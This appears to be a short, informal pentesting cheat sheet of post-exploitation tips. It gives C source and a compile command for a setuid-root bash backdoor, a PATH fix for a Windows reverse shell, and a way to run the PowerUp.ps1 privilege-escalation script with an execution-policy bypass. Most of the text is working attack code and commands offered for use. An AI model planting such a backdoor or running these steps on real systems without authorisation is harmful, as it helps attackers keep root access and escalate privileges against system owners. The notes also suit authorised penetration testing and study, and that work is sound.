Compile SUID bash

If you find you can run command as root, you could compile a setuid bash for you! First create a c program:

int main(void)
{
    setuid(0);
    setgid(0);
    system("/bin/bash");
}

Compile (for x64):

gcc setuid.c -o <outputfile>

Set ENV in windows

In case Windows reverse shell throw error for basic command lke whoami and all, they this

set PATH=%SystemRoot%\\system32;%SystemRoot%;

Fixing Frozen PowerShell

May face this issue where you get cmd.exe shell and when you run powershell.exe, the shell frozes. 😟

Wayaround to run powerUp.ps1

# at the end of the line, add the following command
Invoke-AllChecks

# On your cmd shell, run powerup like this
powershell -ep byppass .\powerUp.ps1

# Bomm! mo frozen shell but results!!
